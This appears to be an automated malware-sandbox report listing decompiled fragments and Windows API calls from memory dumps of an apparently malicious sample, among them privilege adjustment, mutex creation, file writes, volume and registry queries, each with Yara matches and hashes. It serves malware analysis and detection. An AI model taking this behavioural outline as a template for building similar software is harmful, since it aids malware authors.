                          					_t12 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 0x20); // executed
                          					 *0x6d57ee78 = _t12;
                          					if( *0x6d57ee78 != 0) {
                          						_t27 =  *0x6d57ee78; // 0xf98630
                          						_t33 =  *0x6d57ee70; // 0xf8f9b0
                          						if(E6D4C1B30(_t33, _t27, 0x6d57ee68, _a4, _a8) != 0) {
                          							_t15 =  *0x6d57ee78; // 0xf98630
                          							_t28 =  *0x6d57ee70; // 0xf8f9b0
                          							if(E6D4C19B0(_t33, _t28, _t15 +  *0x6d57ee68, 0x6d57ee6c) != 0) {
                          								_t18 =  *0x6d57ee78; // 0xf98630
                          								 *_a20 = _t18;
                          								return 1;
                          							}
                          							return 0;
                          						}
                          						return 0;
                          					}
                          					return 0;
                          				} else {
                          					return 0;
                          				}
                          			}













                          0x6d4c1003
                          0x6d4c100b
                          0x6d4c100d
                          0x6d4c1016
                          0x6d4c1021
                          0x6d4c1021
                          0x6d4c102e
                          0x6d4c1034
                          0x6d4c1045
                          0x6d4c105e
                          0x6d4c1064
                          0x6d4c1070
                          0x6d4c1083
                          0x6d4c108a
                          0x6d4c109b
                          0x6d4c10a6
                          0x6d4c10b2
                          0x6d4c10c3
                          0x6d4c10cc
                          0x6d4c10d1
                          0x00000000
                          0x6d4c10d3
                          0x00000000
                          0x6d4c10c5
                          0x00000000
                          0x6d4c109d
                          0x00000000
                          0x6d4c1047
                          0x00000000
                          0x6d4c1047

                          APIs
                            • Part of subcall function 6D4C1590: _memset.LIBCMT ref: 6D4C15B3
                          • GetProcessHeap.KERNEL32(00000008,6D55CFE0,6D55D018,0001FC00,6D55D000,00000013,6D57EE60), ref: 6D4C1057
                          • RtlAllocateHeap.NTDLL(00000000), ref: 6D4C105E
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Heap$AllocateProcess_memset
                          • String ID:
                          • API String ID: 2069380345-0
                          • Opcode ID: d44aa6a3127ebe163e62f5ddaf86534ed0a83d0648075d69fdbdbafaf0a4c2d7
                          • Instruction ID: 44ed1ebd372c5ab5a4bfdab7abbe9278f3546f4de053d5c298b99d2fb4782779
                          • Opcode Fuzzy Hash: d44aa6a3127ebe163e62f5ddaf86534ed0a83d0648075d69fdbdbafaf0a4c2d7
                          • Instruction Fuzzy Hash: CD210E79504312AFEF14DF75C841FA633B8BB47314F264908ED05CBA41EB769C518B56
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          • CreateFileW.KERNELBASE(00000000,40000000,00000004,00000000,00000002,04000100,00000000), ref: 029A3316
                          • CloseHandle.KERNEL32(00000000), ref: 029A3323
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateHeap$CloseFileHandleProcess
                          • String ID:
                          • API String ID: 3880077155-0
                          • Opcode ID: c506789db867e0ccd188607c4011bad8fb653432d20df1bd62a925214cbd1e5e
                          • Instruction ID: d008ed7f73c3a43450a051e54723ed175b36f68ed38c5a1f99abcef8d42b5213
                          • Opcode Fuzzy Hash: c506789db867e0ccd188607c4011bad8fb653432d20df1bd62a925214cbd1e5e
                          • Instruction Fuzzy Hash: 4E01FCB2E4031437EB1167A49C1AFEF3B6DDFC6750F450211FA09E6080EA709E514AE5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5AEB: GetSystemInfo.KERNELBASE(?,?,029A39DE,?,00000000,00000000,Function_00003B70), ref: 029A5AF5
                          • CreateThread.KERNELBASE(00000000,00000000,?,?,00000000,00000000), ref: 029A7EC7
                          • SetThreadPriority.KERNELBASE(00000000,00000002,?,029A7F44,?,00000000,?,029A39DE,?,00000000,00000000,Function_00003B70), ref: 029A7ED6
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Thread$CloseCreateHandleInfoPrioritySystem
                          • String ID:
                          • API String ID: 3033971346-0
                          • Opcode ID: 14b966d95381ca67a2d08afd19c4b6dc0a553338f06b3a50a189308e31388ed0
                          • Instruction ID: 3f86d14904bb1ce07adf4d68721db0a84e9ac827104a86e010ba85c45caa2f4f
                          • Opcode Fuzzy Hash: 14b966d95381ca67a2d08afd19c4b6dc0a553338f06b3a50a189308e31388ed0
                          • Instruction Fuzzy Hash: 4AF02B3370030576D31117B69C99DBFFAADDFC6764B20892AF929C6550DA30C80196B0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 029A59FD
                          • RtlGetLastWin32Error.NTDLL ref: 029A5A0C
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateErrorLastMutexWin32
                          • String ID:
                          • API String ID: 682235734-0
                          • Opcode ID: bfda4d150a42134d758e7b9c3b579f593d2963404d23358d49dbd56ad78c257a
                          • Instruction ID: a77431ee2577ac05dbcb5e6faa604ffb6487836da30aa43619c3b569fe52efc5
                          • Opcode Fuzzy Hash: bfda4d150a42134d758e7b9c3b579f593d2963404d23358d49dbd56ad78c257a
                          • Instruction Fuzzy Hash: 3BF0E562F442186BEA116BE89D06EAB77ACEF44700F000461EE09E6184EB608514C7E2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 029A59FD
                          • RtlGetLastWin32Error.NTDLL ref: 029A5A0C
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateErrorLastMutexWin32
                          • String ID:
                          • API String ID: 682235734-0
                          • Opcode ID: 9b178a6f36b1387090f357d6cf1987c16d0d6d11fb603d10ef67eb3bbd3a3385
                          • Instruction ID: 8cf310f42837bb3d47d84e7784f9c3897631065ef59d07429d8941cd086b4ebd
                          • Opcode Fuzzy Hash: 9b178a6f36b1387090f357d6cf1987c16d0d6d11fb603d10ef67eb3bbd3a3385
                          • Instruction Fuzzy Hash: 97F0A062E942146AEF11ABE89D46EEB7BACEF45740F000561EE0AE6184E7618518C7E2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • RtlAdjustPrivilege.NTDLL(029A3E1B,00000001,00000001,?), ref: 029A7C49
                          • RtlAdjustPrivilege.NTDLL(029A3E1B,00000001,00000000,00000000), ref: 029A7C65
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: AdjustPrivilege
                          • String ID:
                          • API String ID: 3260937286-0
                          • Opcode ID: af4b6a13d23fad0116ae4a28395de965f0895294f08714ea09d4e02ae9fe472d
                          • Instruction ID: 486b94486c9e80b2c50249c72800787f93909560f39cee5c1209c925af2aac8f
                          • Opcode Fuzzy Hash: af4b6a13d23fad0116ae4a28395de965f0895294f08714ea09d4e02ae9fe472d
                          • Instruction Fuzzy Hash: 13E0E530A98308BAFF204FA0CC06FEE77ADD704740F000565B804E0280EB62D5458290
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateThread.KERNELBASE(00000000,00000000,6D4C11B0,00000000,00000000,?), ref: 6D4C12A7
                          • Sleep.KERNELBASE(000003E8), ref: 6D4C12BE
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CreateSleepThread
                          • String ID:
                          • API String ID: 4202482776-0
                          • Opcode ID: 4c0666c08f88d644d11e13232a0cda12b241464d69b175ed1b72af12279f0f95
                          • Instruction ID: 2be862333c59734d873f8f5c488e7fd87b3aaa9f18eac2d6f4e900cabe8b7336
                          • Opcode Fuzzy Hash: 4c0666c08f88d644d11e13232a0cda12b241464d69b175ed1b72af12279f0f95
                          • Instruction Fuzzy Hash: 66E0C23CF80308BBFF64DAA58D06F29B6B99B45701F114165BF09E57C0EAB06D01419A
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                          • GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Heap$CreateProcess
                          • String ID:
                          • API String ID: 1042935442-0
                          • Opcode ID: 5e78d4779725a47b2da8e905ad040b1e008bc86815d13ed71f8fb283c7f5c986
                          • Instruction ID: 29ea7e66624448bc82153f044040c7bcc3b8c998313671d9eb403e09fad62283
                          • Opcode Fuzzy Hash: 5e78d4779725a47b2da8e905ad040b1e008bc86815d13ed71f8fb283c7f5c986
                          • Instruction Fuzzy Hash: 19E01A31ECD3099FEB12EFA8FA1973037E8BB04714F514856E60885284D7B1D460CA88
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • RtlAllocateHeap.NTDLL(?,00000008,00000000), ref: 029A5127
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: 700b3a9bc2c73dd433716fa07419ca64be6e669041639ce2b021b9870386a73c
                          • Instruction ID: 2b7b26fb450a8d355966972204c1d628baaef613e3b8809c6d961ab25b95caaa
                          • Opcode Fuzzy Hash: 700b3a9bc2c73dd433716fa07419ca64be6e669041639ce2b021b9870386a73c
                          • Instruction Fuzzy Hash: 4CD05E31A8430CAAEF000EA0E80A7753798BB00715F40C064BA0C89490D771C5618B90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5CB3: RegOpenKeyExW.KERNELBASE(0000000C,0000000D,00000000,00000001,?,029B1278,00000000,?,?,029A239C,80000002,?,?,?,?,029B1278), ref: 029A5CCA
                            • Part of subcall function 029A5CB3: RegQueryValueExW.KERNELBASE(?,0000114A,00000000,029B1278,00000000,?,80000002,?,?,029A239C,80000002,?,?,?,?,029B1278), ref: 029A5CE4
                            • Part of subcall function 029A5CB3: RegQueryValueExW.KERNELBASE(?,0000114A,00000000,029B1278,00000000,?,?,?,029A239C,80000002,?,?,?,?,029B1278,0000114A), ref: 029A5D0D
                            • Part of subcall function 029A5CB3: RegCloseKey.KERNELBASE(?,?,?,029A239C,80000002,?,?,?,?,029B1278,0000114A,0000000D,0000000C,?), ref: 029A5D23
                          • _snwprintf.NTDLL ref: 029A1F49
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: QueryValue$CloseOpen_snwprintf
                          • String ID:
                          • API String ID: 775465768-0
                          • Opcode ID: 7d8a89bb2fc3bac2ec2b50d84835a9d5e056a4c5195b6870f2ae3c0b8a783245
                          • Instruction ID: 4b264a738534737c47e0166c1df9f814ddf9177e528b13ccaa5c3842b718f904
                          • Opcode Fuzzy Hash: 7d8a89bb2fc3bac2ec2b50d84835a9d5e056a4c5195b6870f2ae3c0b8a783245
                          • Instruction Fuzzy Hash: A3419072E84208BEDB12DAD0DD51FFFBB6DEF08710F000565FA09E6141E6A19A608BE4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A7F8A: GetQueuedCompletionStatus.KERNEL32(?,?,?,?,?,?,029A3B8E,?,?,?,?,000000FF), ref: 029A7F9F
                          • RtlGetLastWin32Error.NTDLL ref: 029A3C74
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CompletionErrorLastQueuedStatusWin32
                          • String ID:
                          • API String ID: 2679338362-0
                          • Opcode ID: b0be9e2af6b10ff097420745bba498806163d4e113fbd2241ebbe333eca70f11
                          • Instruction ID: c0169b052031342f24a19bbdbc6c27820ec6ed78b53aaa0d0f6c2feb5a1d6f1d
                          • Opcode Fuzzy Hash: b0be9e2af6b10ff097420745bba498806163d4e113fbd2241ebbe333eca70f11
                          • Instruction Fuzzy Hash: E9416271C00214EFCB15DBA8CE29DAA777DEB84314F1007EAE80596141D732D691CBD9
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                            • Part of subcall function 029A5FD5: GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,029A5792,00000000,00000001), ref: 029A5FF8
                          • wsprintfW.USER32 ref: 029A57FD
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Heap$CreateInformationProcessVolumewsprintf
                          • String ID:
                          • API String ID: 2230357944-0
                          • Opcode ID: 3a093c032bb7432611a4d06957b53d38b07fd5cadcfbe7052b7376d2e08f1b0f
                          • Instruction ID: 0bf12e51e3bb11968e077ec6f94f471686b612022fdec23bfe18e08d2d4d95c4
                          • Opcode Fuzzy Hash: 3a093c032bb7432611a4d06957b53d38b07fd5cadcfbe7052b7376d2e08f1b0f
                          • Instruction Fuzzy Hash: 9E0180B2E403087AEB01B7E48C12FEFB7BDDF84710F400526BB04EA180EA709A144BE5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • RtlGetLastWin32Error.NTDLL ref: 029A3D90
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ErrorLastWin32
                          • String ID:
                          • API String ID: 3973360955-0
                          • Opcode ID: e1f9e277f99ed81543f65bd9be5980c3e0b31400ce7df562e789e8e1a75e5803
                          • Instruction ID: 5f6b8fd6e3c098adf46fa5501eb6c1ada02096f00eee43ba209fea4e82ea290e
                          • Opcode Fuzzy Hash: e1f9e277f99ed81543f65bd9be5980c3e0b31400ce7df562e789e8e1a75e5803
                          • Instruction Fuzzy Hash: D2014E72A01F00ABD7246B65CCA4FAB73ADEFC8304F004568F90986640D370A9048BE5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A8108: WriteFile.KERNELBASE(?,?,029A3C64,00000000,?,?,029A3D04,?,?,?,?,?), ref: 029A811A
                          • RtlGetLastWin32Error.NTDLL ref: 029A3D09
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ErrorFileLastWin32Write
                          • String ID:
                          • API String ID: 2457671358-0
                          • Opcode ID: cfd2f65a46588d5a060bef7729684c595fa815efc2a9ca14d8c0950d7503a08b
                          • Instruction ID: 226cb82c65e4b83b7b76ebe2b4095527f0469aabb684de34c5f6e2c816aafb30
                          • Opcode Fuzzy Hash: cfd2f65a46588d5a060bef7729684c595fa815efc2a9ca14d8c0950d7503a08b
                          • Instruction Fuzzy Hash: 25F0A4B6500748BBCB217F95CC15EDB37AEEFCA714F008418F91986200D730A5108BE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5133: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,029A6CC0,?,?,?,029A12C1,029B356C,00000000,?), ref: 029A5148
                          • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,?,00000000,?,029A39DE,?,00000000,00000000,Function_00003B70), ref: 029A7F24
                            • Part of subcall function 029A7EA3: CreateThread.KERNELBASE(00000000,00000000,?,?,00000000,00000000), ref: 029A7EC7
                            • Part of subcall function 029A7EA3: SetThreadPriority.KERNELBASE(00000000,00000002,?,029A7F44,?,00000000,?,029A39DE,?,00000000,00000000,Function_00003B70), ref: 029A7ED6
                            • Part of subcall function 029A5150: HeapDestroy.KERNEL32(?,?,029A6D0E,?,?,?,029A12C1,029B356C,00000000,?), ref: 029A5156
                            • Part of subcall function 029A5416: CloseHandle.KERNEL32(00000000,?,029A37B5,5A036A02,00000000), ref: 029A5422
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Create$HeapThread$CloseCompletionDestroyHandlePortPriority
                          • String ID:
                          • API String ID: 755708441-0
                          • Opcode ID: 37124ea8f38bda59295996f881fe3dcb7a88736f87d825b7ca7bf976c385dc1e
                          • Instruction ID: b22baceb38d847572d2ca7eaedaa9d74837d49df6e045c1429d4910f415e8870
                          • Opcode Fuzzy Hash: 37124ea8f38bda59295996f881fe3dcb7a88736f87d825b7ca7bf976c385dc1e
                          • Instruction Fuzzy Hash: DFF0BB32618302EADB112FA0EC317EEBBD9DF00371F614939F969E51A0EB31D5108AD4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A80D4: ReadFile.KERNELBASE(?,?,029A3C6F,00000000,?,?,029A38B5,?,?), ref: 029A80E6
                          • RtlGetLastWin32Error.NTDLL ref: 029A38BA
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ErrorFileLastReadWin32
                          • String ID:
                          • API String ID: 3522703849-0
                          • Opcode ID: 4d9af1e83f0520a4a941739b5b2f000b239f490287a80518a1a20aa17b9811ad
                          • Instruction ID: 5b1c3370d4a3b2a7a193fedb4af7f61f3b60b49635a2716923c409cbb42373fa
                          • Opcode Fuzzy Hash: 4d9af1e83f0520a4a941739b5b2f000b239f490287a80518a1a20aa17b9811ad
                          • Instruction Fuzzy Hash: 27F02B31500B40ABDB242BACDC19EDF37AEEFC5314F00086AF60995200DB75A0548BD5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateFileW.KERNELBASE(C0000000,?,00000000,00000000,029A36AD,48000000,00000000,00000000,?,029A36AD,00000000,?,?,00000000,C0000000,00000000), ref: 029A8095
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateFile
                          • String ID:
                          • API String ID: 823142352-0
                          • Opcode ID: 506c33a126843fe6db380c1ad02c60f2d774426db6c858f8d8102c398ef43c93
                          • Instruction ID: 345b5d00037f39f39d2399c8df189cbafa2a0f97d3cd30cb9ad3a750f6c1c8cf
                          • Opcode Fuzzy Hash: 506c33a126843fe6db380c1ad02c60f2d774426db6c858f8d8102c398ef43c93
                          • Instruction Fuzzy Hash: 380144B1514715AFDF209F35DC509A77BE9FF48320B108A29FC55D2650E731E8108F90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A6342: GetWindowsDirectoryW.KERNEL32(00000000,00000000,00000000,029A5FDF,00000000,00000022,?,029A5792,00000000,00000001), ref: 029A6347
                          • GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,029A5792,00000000,00000001), ref: 029A5FF8
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: DirectoryInformationVolumeWindows
                          • String ID:
                          • API String ID: 3487004747-0
                          • Opcode ID: 4a6252d4bf81c96912ce27f325076d70d2cad6696a6c275c949a29199d207830
                          • Instruction ID: 48fd9f94ee9dc5465253a385662bebd8523ab6cb019d1c94d73f90b72415e0a1
                          • Opcode Fuzzy Hash: 4a6252d4bf81c96912ce27f325076d70d2cad6696a6c275c949a29199d207830
                          • Instruction Fuzzy Hash: CBE06D72A69228BFAB09D7A4DC1ACBFB29CDE01611300465EF805D2100FAA0AE0016E8
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateIoCompletionPort.KERNELBASE(?,?,029A3F13,00000000,00000000,?,029A3F13,?,?,00000000), ref: 029A7E31
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CompletionCreatePort
                          • String ID:
                          • API String ID: 499945625-0
                          • Opcode ID: ab9daa8c8a43e8e8cfc7a43232fddd36999f03ab71b0595269c9d76a86bf09ae
                          • Instruction ID: ac352d2c1646813bfaaf89174d041d74dd8dbda605da2f6df53cad3ffe3536a0
                          • Opcode Fuzzy Hash: ab9daa8c8a43e8e8cfc7a43232fddd36999f03ab71b0595269c9d76a86bf09ae
                          • Instruction Fuzzy Hash: 4BD0A733504318FFCF015FA4ED01AD67BA8EF08A10F00C42AF9198A050D232F820CB80
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,029A479B,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 029A8363
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateFile
                          • String ID:
                          • API String ID: 823142352-0
                          • Opcode ID: b95381c19b38f2beba2eb8c9c5910b36516063d537b363750c0318b9574c18ec
                          • Instruction ID: f2ff211198e1f59ec28075e26ed1b7b46242965c818accdb30722f7adeb87114
                          • Opcode Fuzzy Hash: b95381c19b38f2beba2eb8c9c5910b36516063d537b363750c0318b9574c18ec
                          • Instruction Fuzzy Hash: 0DD0923214424DBFDF160FA0DD42B9A3F66EF08760F604618FA29980E0D672E470AB99
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,029A2BFF), ref: 029A5A2B
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: InfoNativeSystem
                          • String ID:
                          • API String ID: 1721193555-0
                          • Opcode ID: 2e22c68cdce9633e741795d65beb841d19a72e908390d9ca1f837ffdc87a0256
                          • Instruction ID: 49a0a46d7fab3c2ed3da7a14a7b9313756b2e7c7449b9cc3b9c167ad217e09ce
                          • Opcode Fuzzy Hash: 2e22c68cdce9633e741795d65beb841d19a72e908390d9ca1f837ffdc87a0256
                          • Instruction Fuzzy Hash: F7C01226C0820C4A8B00EBB0964D499B7FCD60C104B400590D80592040F665AA548295
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • ReadFile.KERNELBASE(?,?,029A3C6F,00000000,?,?,029A38B5,?,?), ref: 029A80E6
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FileRead
                          • String ID:
                          • API String ID: 2738559852-0
                          • Opcode ID: f2b11f6cd9cd9132b20105aecf5509446e677cd4877217a1dd138d16d60cd7eb
                          • Instruction ID: 22e91e8330f37845014283c94e9a9500bc3fdb77a4765de805737e912aa5b063
                          • Opcode Fuzzy Hash: f2b11f6cd9cd9132b20105aecf5509446e677cd4877217a1dd138d16d60cd7eb
                          • Instruction Fuzzy Hash: 20C00236544208BFDF025F84ED49FAA7B69EB08611F008454BA184A561C672E9209B55
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • WriteFile.KERNELBASE(?,?,029A3C64,00000000,?,?,029A3D04,?,?,?,?,?), ref: 029A811A
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FileWrite
                          • String ID:
                          • API String ID: 3934441357-0
                          • Opcode ID: 82fd5d5706297a4466e45ad3b63765f55d460547cd845de607b4cb0cfe04e825
                          • Instruction ID: 0fc8aac7ff3c950ddd510872dcda68b8b98d4514d298f74de530ca3d79ad52fa
                          • Opcode Fuzzy Hash: 82fd5d5706297a4466e45ad3b63765f55d460547cd845de607b4cb0cfe04e825
                          • Instruction Fuzzy Hash: 02C00236544209BFDF025F84ED15EAA7B69EB08611F008450BA184A161D672E9209B65
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • HeapCreate.KERNELBASE(00000000,00000000,00000000,?,029A6CC0,?,?,?,029A12C1,029B356C,00000000,?), ref: 029A5148
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CreateHeap
                          • String ID:
                          • API String ID: 10892065-0
                          • Opcode ID: 108ee80aebc87a47ac2357b730da26ad35db85c1ac73884327865e16f8df7606
                          • Instruction ID: cd88f6195408e1ceed5e371db393503df9b1b455e171e5e203a993a6967f08a2
                          • Opcode Fuzzy Hash: 108ee80aebc87a47ac2357b730da26ad35db85c1ac73884327865e16f8df7606
                          • Instruction Fuzzy Hash: 8FC08C3028820CEBEB005A80EC05BA537DCEB00746F008020FE0C890C0C3B0A8508A98
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • SetFilePointerEx.KERNELBASE(000000FF,FFFFFF18,00000000,00000000,029A3598,?,029A3598,00000000,FFFFFF18,000000FF,00000002), ref: 029A839D
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FilePointer
                          • String ID:
                          • API String ID: 973152223-0
                          • Opcode ID: f9f8e8ca5555be17a2860e7e858f8219049e9203f9b81f087730e43c2564118d
                          • Instruction ID: d6963edcac2a7ae09a8a6117f7dba9e8f587e3c8e2b00112da1d6c6ce5719081
                          • Opcode Fuzzy Hash: f9f8e8ca5555be17a2860e7e858f8219049e9203f9b81f087730e43c2564118d
                          • Instruction Fuzzy Hash: 4BC0023244424DBBCF025F81ED05A997F2AEB08650F408414FA18144618772A570AB55
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • WriteFile.KERNELBASE(00000D88,00000000,029A47C6,?,00000000,?,029A47C6,00000000,00000D88,?), ref: 029A83B6
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FileWrite
                          • String ID:
                          • API String ID: 3934441357-0
                          • Opcode ID: 8b6cf26d3de807b40d37d3f48a5cf3cbf36f5a9ef91eb10a0bd8ae043e296941
                          • Instruction ID: c13baa6b74191c8e03a8505ad248cc55b911f0f6adc9d650a8006484f6e2157c
                          • Opcode Fuzzy Hash: 8b6cf26d3de807b40d37d3f48a5cf3cbf36f5a9ef91eb10a0bd8ae043e296941
                          • Instruction Fuzzy Hash: 07C0013248420EBBCF025F81ED15AAA7F2AEB08661F008410FA181806197B2A930ABA5
